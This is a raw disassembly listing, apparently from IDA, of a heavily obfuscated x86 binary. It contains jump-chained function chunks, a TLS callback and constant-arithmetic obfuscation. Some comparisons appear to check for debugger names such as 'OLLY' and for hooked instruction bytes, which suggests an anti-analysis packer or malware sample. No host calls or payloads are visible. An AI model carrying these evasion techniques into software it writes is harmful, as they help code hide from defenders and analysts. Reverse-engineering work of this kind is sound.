FUNCTION CHUNK FOR sub_42B02D loc_428D18: ; CODE XREF: sub_42B02D+3068j jmp nullsub_122 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_428D1D: ; CODE XREF: sub_42A6CD+214Aj jmp loc_42828A ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427106 loc_428D22: ; CODE XREF: sub_427106+1j jmp loc_426F2D ; END OF FUNCTION CHUNK FOR sub_427106 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_428D27: ; CODE XREF: sub_429D2E:loc_424A64j jnz loc_42624D jmp loc_424FCC ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_428D32: ; CODE XREF: sub_42A8ED:loc_42CAD3j push offset sub_42A564 jmp nullsub_82 ; END OF FUNCTION CHUNK FOR sub_42A8ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_428D3C: ; CODE XREF: sub_42606D:loc_4243F6j jz loc_42444D jmp loc_429599 ; END OF FUNCTION CHUNK FOR sub_42606D ; =============== S U B R O U T I N E ======================================= sub_428D47 proc near ; DATA XREF: sub_42D789+15o ; FUNCTION CHUNK AT 00424D18 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425A3B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427728 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A827 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042C9AA SIZE 0000000B BYTES call sub_424585 push 9556E74Eh pop edx call sub_427143 loc_428D57: ; CODE XREF: sub_428BF4+Cj jmp loc_424D18 sub_428D47 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4246D4 loc_428D5C: ; CODE XREF: sub_4246D4+A67Bj pop ebp jmp loc_427FCE ; END OF FUNCTION CHUNK FOR sub_4246D4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [esp], ebx push eax push ecx push edx jmp loc_4244D2 ; --------------------------------------------------------------------------- db 0BAh, 55h, 1Bh dd 6850BB93h, 0CFBCA571h, 0B1F08158h, 0C11BC0FFh, 0C08116C0h dd 500D7977h dd 0E9240487h, 0FFFFCB81h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_428D94: ; CODE XREF: sub_426535:loc_426895j mov eax, [ebp-4] cmp byte ptr [eax], 0CFh jz loc_427CC2 mov eax, [ebp-4] ; END OF FUNCTION CHUNK FOR sub_426535 ; START OF FUNCTION CHUNK FOR sub_4244EA loc_428DA3: ; CODE XREF: sub_4244EA:loc_42AA49j cmp byte ptr [eax], 0E9h jz loc_427CC2 jmp loc_42934D ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C031 loc_428DB1: ; CODE XREF: sub_42C031:loc_42F3BBj mov ds:dword_42DAE4, eax lea eax, [ebp-14h] jmp loc_428A8A ; END OF FUNCTION CHUNK FOR sub_42C031 ; =============== S U B R O U T I N E ======================================= sub_428DBE proc near ; CODE XREF: sub_424585+3j ; FUNCTION CHUNK AT 0042A0A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BB33 SIZE 0000001B BYTES add esp, 0FFFFFFECh mov eax, offset dword_42FB68 call sub_42E5B2 loc_428DCB: ; CODE XREF: sub_42F25F-6D12j cmp ds:dword_42DAE4, 0 jnz loc_427B25 jmp loc_42A0A7 sub_428DBE endp ; =============== S U B R O U T I N E ======================================= sub_428DDD proc near ; CODE XREF: sub_42A491+8p ; wto1jq8f:0042F415j mov [esp+0], eax pop eax call sub_42FB2F push eax call dword ptr [ebp-4] test eax, eax jz loc_425BE9 jmp loc_42A486 sub_428DDD endp ; --------------------------------------------------------------------------- loc_428DF7: ; DATA XREF: sub_42BE69:loc_424569o push eax push edx push 159BC44Bh pop edx jmp loc_425085 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_428E04: ; CODE XREF: sub_42B02D+Aj cmp ds:dword_42FB50, 0 jz loc_42B4B4 mov eax, ds:dword_42FB50 push offset loc_42BB17 jmp loc_429633 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42414C loc_428E20: ; CODE XREF: sub_42414C:loc_42E3E0j push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_42414C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F7D loc_428E27: ; CODE XREF: sub_429F7D+159Ej jmp loc_42BEEF ; END OF FUNCTION CHUNK FOR sub_429F7D ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: wto1jq8f:TlsCallbackso var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00426604 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042999A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042A9BC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042AFE6 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0042BA7F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042DF88 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042EAAB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F690 SIZE 00000019 BYTES pushf mov [esp+0], ebp jmp loc_42AFE6 TlsCallback_0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_428E35: ; CODE XREF: sub_42B276-2742j jz loc_4281AB call nullsub_2 retn ; --------------------------------------------------------------------------- loc_428E41: ; CODE XREF: sub_42B276:loc_428B27j call sub_42CB36 test al, al jmp loc_426281 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_428E4D: ; CODE XREF: sub_42A909-6489j jz nullsub_214 jmp loc_42F718 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- loc_428E58: ; CODE XREF: wto1jq8f:00424EAEj not ebx jmp loc_42E1B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_428E5F: ; CODE XREF: sub_42E9E8:loc_42B752j ; sub_42E9E8+15F1j add eax, edx xor eax, ebx add eax, ecx xor eax, esi add eax, edi jmp loc_425F8E ; --------------------------------------------------------------------------- loc_428E6E: ; CODE XREF: sub_42E9E8:loc_4297C8j push eax jmp loc_42EB89 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_428E74: ; CODE XREF: sub_42C6C3:loc_42979Ej add eax, ecx push offset sub_42B840 loc_428E7B: ; CODE XREF: wto1jq8f:00427DD4j jmp nullsub_88 ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_428E80: ; CODE XREF: sub_42E9E8-8412j popf ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; =============== S U B R O U T I N E ======================================= sub_428E81 proc near ; CODE XREF: wto1jq8f:00425027p xchg edi, [esp+0] pop edi push 0F2F05663h pop eax and eax, 0A18E7BE0h jmp loc_42DF53 sub_428E81 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_245. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F5E5 loc_428E97: ; CODE XREF: sub_42F5E5-2832j jmp loc_42FC98 ; END OF FUNCTION CHUNK FOR sub_42F5E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_428E9C: ; CODE XREF: sub_425F4F:loc_42EAD2j and edi, 12EC9E35h jmp loc_429F0A ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- loc_428EA7: ; CODE XREF: wto1jq8f:0042EF4Ej add edx, [ebp-4] call sub_42B565 ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_428EAF: ; CODE XREF: sub_42EDB9:loc_42FC34j sbb eax, edi jmp loc_428A0E ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_428EB6: ; CODE XREF: sub_42A909-2993j sbb edx, 0A73869F1h loc_428EBC: ; CODE XREF: sub_42A909:loc_42ED98j call sub_42B866 retn ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E676 loc_428EC2: ; CODE XREF: sub_42E676+10j jmp loc_429FF9 ; END OF FUNCTION CHUNK FOR sub_42E676 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_428EC7: ; CODE XREF: sub_42D4FD+1j jmp loc_42A9D4 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_428ECC: ; CODE XREF: sub_42E9E8-9EDAj jmp loc_428669 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_428ED1: ; CODE XREF: sub_42A909+2942j call sub_42CB36 test al, al jz loc_42ACAC jmp loc_424924 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- push eax jmp sub_42A14D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428EEA: ; CODE XREF: wto1jq8f:00427CF0j jmp loc_42CE75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42408D loc_428EEF: ; CODE XREF: sub_42408D+4j jmp loc_42598D ; END OF FUNCTION CHUNK FOR sub_42408D ; =============== S U B R O U T I N E ======================================= sub_428EF4 proc near ; DATA XREF: wto1jq8f:0042D256o push eax rol eax, 8 mov ds:dword_42E514, eax retn sub_428EF4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B68E loc_428EFF: ; CODE XREF: sub_42B68E+3j jmp loc_42902C ; END OF FUNCTION CHUNK FOR sub_42B68E ; --------------------------------------------------------------------------- loc_428F04: ; DATA XREF: sub_429165-4782o add eax, 3Ch push offset loc_42AB72 jmp loc_4263E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DCB4 loc_428F11: ; CODE XREF: sub_42DCB4-7CDBj jz loc_429524 cmp eax, 0FFFFFFFFh jz loc_429524 mov eax, [eax] jmp loc_42F63A ; END OF FUNCTION CHUNK FOR sub_42DCB4 ; --------------------------------------------------------------------------- jnb loc_42757C jmp loc_428134 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_428F32: ; CODE XREF: sub_4266B1:loc_425CF5j jl loc_42EFBE adc esi, 873E3DA3h sub edi, esi jl loc_428B74 jmp loc_429BEC ; END OF FUNCTION CHUNK FOR sub_4266B1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_428F4C: ; CODE XREF: sub_42A88D+A6Aj jmp loc_42F66C ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_428F51: ; CODE XREF: sub_42DB52-5C3Dj jmp loc_424873 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- loc_428F56: ; CODE XREF: wto1jq8f:00428CCBj ; wto1jq8f:loc_42F396j push edi push offset loc_426B32 jmp locret_42EAAA ; =============== S U B R O U T I N E ======================================= sub_428F61 proc near ; CODE XREF: sub_42CE5D+1p ; FUNCTION CHUNK AT 00424617 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004271D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042745C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00427CB3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A97B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F881 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042FA93 SIZE 00000015 BYTES mov [esp+0], ebp mov eax, offset dword_42AD18 mov edx, 16h call sub_428B3B pop ecx push ebp push 0FCCB8D9Ah pop eax jmp loc_4271D7 sub_428F61 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ecx, 0CEC2E26Fh jmp loc_42D342 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_428F8A: ; CODE XREF: sub_42DB52:loc_42DBFEj pop edx push ebp call sub_42F947 loc_428F91: ; CODE XREF: sub_42FA0F+Fj jmp loc_427F0F ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DBA6 loc_428F96: ; CODE XREF: sub_42DBA6+1Aj jmp loc_42880E ; END OF FUNCTION CHUNK FOR sub_42DBA6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_428F9B: ; CODE XREF: sub_428AC6:loc_42F5D7j ; sub_428AC6+6B1Aj add edx, 59944B3Eh xor edx, 3705135Fh add esi, edx pop edx mov esi, [esi] push offset sub_424B93 jmp loc_4276F6 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C88D loc_428FB7: ; CODE XREF: sub_42C88D+14j jmp nullsub_225 ; END OF FUNCTION CHUNK FOR sub_42C88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_428FBC: ; CODE XREF: sub_42618A+17j jmp loc_427046 ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_428FC1: ; CODE XREF: sub_424BD4+11j jmp loc_4248F2 ; END OF FUNCTION CHUNK FOR sub_424BD4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428136 loc_428FC7: ; CODE XREF: sub_428136:loc_427DEEj push offset sub_42D86F jmp nullsub_205 ; END OF FUNCTION CHUNK FOR sub_428136 ; --------------------------------------------------------------------------- loc_428FD1: ; DATA XREF: sub_426535:loc_42865Fo lea eax, [ebp-2BBh] cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_42C772 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED01 loc_428FE8: ; CODE XREF: sub_42ED01:loc_4274AEj ; wto1jq8f:loc_42806Dj sbb edx, 8C470E66h pop edx xor ebx, ebp loc_428FF1: ; CODE XREF: wto1jq8f:004267A1j cmp eax, 6A11CDA3h jmp loc_42D0C7 ; END OF FUNCTION CHUNK FOR sub_42ED01 ; =============== S U B R O U T I N E ======================================= sub_428FFC proc near ; DATA XREF: sub_42481C:loc_42A264o mov eax, [ebp-4] inc eax call sub_428183 jmp loc_428A35 sub_428FFC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42481C loc_42900A: ; CODE XREF: sub_42481C:loc_4294DDj ; sub_429BFF+3B49j ... xor edx, edx jmp loc_424949 ; END OF FUNCTION CHUNK FOR sub_42481C ; --------------------------------------------------------------------------- pop ebx jmp sub_42AFCD ; =============== S U B R O U T I N E ======================================= sub_429017 proc near ; CODE XREF: sub_42414C+722p ; wto1jq8f:loc_4288ADj push offset loc_42BD6C jmp loc_426EE8 sub_429017 endp ; --------------------------------------------------------------------------- jge sub_4266CA jmp loc_42B8B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B68E loc_42902C: ; CODE XREF: sub_42B68E:loc_428EFFj lea eax, [ebp-20h] mov dword ptr [eax], 594C4C4Fh call sub_42C049 ; END OF FUNCTION CHUNK FOR sub_42B68E ; =============== S U B R O U T I N E ======================================= sub_42903A proc near ; CODE XREF: sub_42628C-1B6Ep ; wto1jq8f:00426630j ; FUNCTION CHUNK AT 0042A858 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jnz loc_4245A1 push offset sub_4270C0 jmp loc_42A858 sub_42903A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 5FCEh dword_429050 dd 0 ; sub_42C0D7:loc_42A4CCr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_429054: ; CODE XREF: sub_42BE69-3EFj jmp loc_42A9E7 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- db 6Dh, 2Ch, 38h dword_42905C dd 0 ; sub_42FE4C-907Ar ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D71D loc_429060: ; CODE XREF: sub_42D71D+Dj jmp loc_4274EA ; END OF FUNCTION CHUNK FOR sub_42D71D ; --------------------------------------------------------------------------- db 0A1h, 0C0h, 40h dword_429068 dd 0 ; sub_424406:loc_4244A4w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42906C: ; CODE XREF: sub_42C486-23A6j jmp loc_42CEAD ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- db 80h, 4Ah, 85h dword_429074 dd 0 dword_429078 dd 0 ; sub_42B8FC+44A3w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42907C: ; CODE XREF: sub_429B76+558j jmp loc_42F7DB ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245D6 loc_429081: ; CODE XREF: sub_4245D6+Ej jmp loc_4243AB ; END OF FUNCTION CHUNK FOR sub_4245D6 ; --------------------------------------------------------------------------- dw 0C102h dword_429088 dd 0 ; sub_42414C+BD18r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_42908C: ; CODE XREF: sub_42F50F-248Cj jmp loc_42773F ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_429091: ; CODE XREF: wto1jq8f:0042A156j ; sub_42A909:loc_42FA2Ej jmp loc_424CA9 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D71D loc_429096: ; CODE XREF: sub_42D71D:loc_42CF99j pop edx push 76BE8D39h pop eax and eax, 0CD678D26h sub eax, 8A721BD3h add eax, 468E4572h xchg eax, [esp-8+arg_4] retn ; END OF FUNCTION CHUNK FOR sub_42D71D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_4290B3: ; CODE XREF: sub_42E0FD-2DF7j jmp sub_427A8D ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F83 loc_4290B8: ; CODE XREF: sub_424F83+8j jmp nullsub_29 ; END OF FUNCTION CHUNK FOR sub_424F83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_4290BD: ; CODE XREF: sub_42B353:loc_42943Bj cmp ds:dword_42D5CC, 0 jnz loc_42ABD0 jmp loc_42FFCB ; END OF FUNCTION CHUNK FOR sub_42B353 ; =============== S U B R O U T I N E ======================================= sub_4290CF proc near ; DATA XREF: sub_425C0D+Co mov dword ptr [ebp-18h], 0 sub_4290CF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42F25F loc_4290D6: ; CODE XREF: sub_42F25F+A1Bj mov eax, [ebp-4] mov edx, [ebp-14h] add eax, [edx+20h] xor edx, edx push edx push eax jmp loc_42428F ; END OF FUNCTION CHUNK FOR sub_42F25F ; --------------------------------------------------------------------------- loc_4290E8: ; CODE XREF: wto1jq8f:loc_42B163j add esi, 0D99B41D5h push offset loc_4271F4 jmp loc_42E646 ; --------------------------------------------------------------------------- push ecx push 3E66C88Ch pop ecx rol ecx, 1Eh xor ecx, 0ED894DD0h jmp loc_42FF41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FFBA loc_42910D: ; CODE XREF: sub_42FFBA-B00Cj mov esi, ebp xor ebx, 0F692B261h jbe loc_425D0F shr ecx, 0Dh loc_42911E: ; CODE XREF: sub_42FFBA:loc_424100j call sub_4242D6 mov edx, 81424EE7h jmp loc_4299F1 ; END OF FUNCTION CHUNK FOR sub_42FFBA ; --------------------------------------------------------------------------- pushf mov [esp], eax push esi push 0ECF35498h pop esi add esi, 134F5A7Ah jmp loc_42E776 ; --------------------------------------------------------------------------- mov [esi], ebp jnz loc_428907 jmp loc_426F96 ; --------------------------------------------------------------------------- push eax rol eax, 14h mov ds:dword_42A730, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_42915B: ; CODE XREF: sub_424D58+5AA0j jmp nullsub_222 ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_429160: ; CODE XREF: sub_426313+135Cj jmp loc_424276 ; END OF FUNCTION CHUNK FOR sub_426313 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429165 proc near ; CODE XREF: wto1jq8f:00424071p ; wto1jq8f:004241E8j ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004249D6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424EFF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042A1C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AB85 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042BBC3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D608 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DB24 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042DBD7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042F17B SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_42BBC3 sub_429165 endp ; --------------------------------------------------------------------------- mov ds:dword_42ACF0, eax xor eax, eax push ebx push 57E7A135h pop ebx rol ebx, 12h jmp loc_42AAD9 ; --------------------------------------------------------------------------- shr eax, 0Eh jmp sub_427F1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424907 loc_42918B: ; CODE XREF: sub_424907+Ej xor [esi], ebx add [esi], ecx xor [esi], edx jmp loc_4248DF ; END OF FUNCTION CHUNK FOR sub_424907 ; --------------------------------------------------------------------------- loc_429196: ; CODE XREF: wto1jq8f:0042CBA0j push 56C1B726h pop eax sub eax, 20407958h add eax, 0F851163Ah xor eax, 2ED25409h jmp loc_42963D ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_4291B4: ; CODE XREF: sub_42B8FC-4D6Ej jmp loc_42E577 ; END OF FUNCTION CHUNK FOR sub_42B8FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4291B9 proc near ; CODE XREF: sub_42B178+Dj ; sub_4262CE+9AE1p ; FUNCTION CHUNK AT 00426CBF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427A74 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00429440 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FB23 SIZE 00000007 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_426CBF sub_4291B9 endp ; --------------------------------------------------------------------------- loc_4291C5: ; DATA XREF: sub_428B3E+37FDo pop ebx mov [ebp-8], eax js loc_425D79 xor edx, edx mov eax, [ebp-8] push esi push 36478210h pop esi jmp loc_427D26 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424ADA loc_4291E1: ; CODE XREF: sub_424ADA+Dj jmp loc_428081 ; END OF FUNCTION CHUNK FOR sub_424ADA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4291E7: ; CODE XREF: wto1jq8f:loc_42FB54j pop edx rol edx, 1 test edx, 4000000h jmp loc_42BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_4291F5: ; CODE XREF: sub_424406:loc_426946j jnz loc_4244AB jmp loc_425A0F ; END OF FUNCTION CHUNK FOR sub_424406 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429201: ; CODE XREF: wto1jq8f:0042C603j jz loc_42A950 jmp loc_42DD64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42920C: ; CODE XREF: sub_42506F+789Dj xor edi, ebx add ebx, edx xor ebp, edx pop eax add esi, ebx jmp loc_42E2BD ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- xor edx, eax jmp sub_42CE8E ; --------------------------------------------------------------------------- loc_429221: ; DATA XREF: sub_42E5B2-64D6o push 0 call sub_424BF9 pop eax cmp dword ptr [eax], 0 jnz loc_42E5C2 jmp sub_42E5B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_429237: ; CODE XREF: sub_42E5B2:loc_42E5C2j push eax push 0 call sub_424BF9 jmp loc_42EAD7 ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_429244: ; CODE XREF: sub_42F2C7-46A8j push eax push 0 push 10h call sub_427D82 push ebx call sub_42B63C loc_429254: ; CODE XREF: sub_42F2C7-94A0j jmp loc_42BF18 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- push 0EC5122D7h jmp loc_4262B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_429263: ; CODE XREF: sub_425CE2+3B95j call sub_42FC85 loc_429268: ; CODE XREF: wto1jq8f:loc_42A8C0j cmp eax, [ebp-8] jnz loc_42CA26 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx jmp loc_42778D ; END OF FUNCTION CHUNK FOR sub_425CE2 ; =============== S U B R O U T I N E ======================================= sub_429281 proc near ; CODE XREF: sub_4264F4-1BEp ; wto1jq8f:0042ACC4j arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx add edx, 0E03E2AB0h xchg edx, [esp-4+arg_0] sub_429281 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42928E: ; CODE XREF: sub_42C486+A2Dj jmp loc_4242A4 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42708B loc_429293: ; CODE XREF: sub_42708B:loc_429A94j jns loc_42BF6F mov esi, [edx] ja loc_42F175 mov ebp, 29137D6Dh jmp loc_42D302 ; END OF FUNCTION CHUNK FOR sub_42708B ; --------------------------------------------------------------------------- loc_4292AB: ; CODE XREF: wto1jq8f:0042AF63j mov [ecx], ebp ; =============== S U B R O U T I N E ======================================= sub_4292AD proc near ; CODE XREF: sub_42F25F-6D22p arg_0 = dword ptr 4 mov [esp+0], edi pop edi xchg esi, [esp-4+arg_0] jmp sub_429165 sub_4292AD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4292B9 proc near ; CODE XREF: wto1jq8f:00424DCFj ; sub_42727F:loc_426E1Bp ; FUNCTION CHUNK AT 00427C87 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042FD2D SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add ebx, 11457002h add ecx, ebx jmp loc_42FD2D sub_4292B9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- and edi, 245077Dh jmp sub_42E597 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_4292D5: ; CODE XREF: sub_427A8D:loc_4243EAj ; sub_427A8D+C5Aj call sub_427A8D push 0C712B4C6h pop edx xor edx, 0A2CC2A03h call sub_429165 jmp loc_42FF62 ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_4292F0: ; CODE XREF: sub_427143+8A36j jbe loc_42A474 sbb eax, edi pushf loc_4292F9: ; CODE XREF: sub_427143:loc_42E7ABj call sub_42EECC loc_4292FE: ; CODE XREF: wto1jq8f:0042AE34j jmp loc_42AC78 ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F3E7 loc_429303: ; CODE XREF: sub_42F3E7-5163j jmp nullsub_230 ; END OF FUNCTION CHUNK FOR 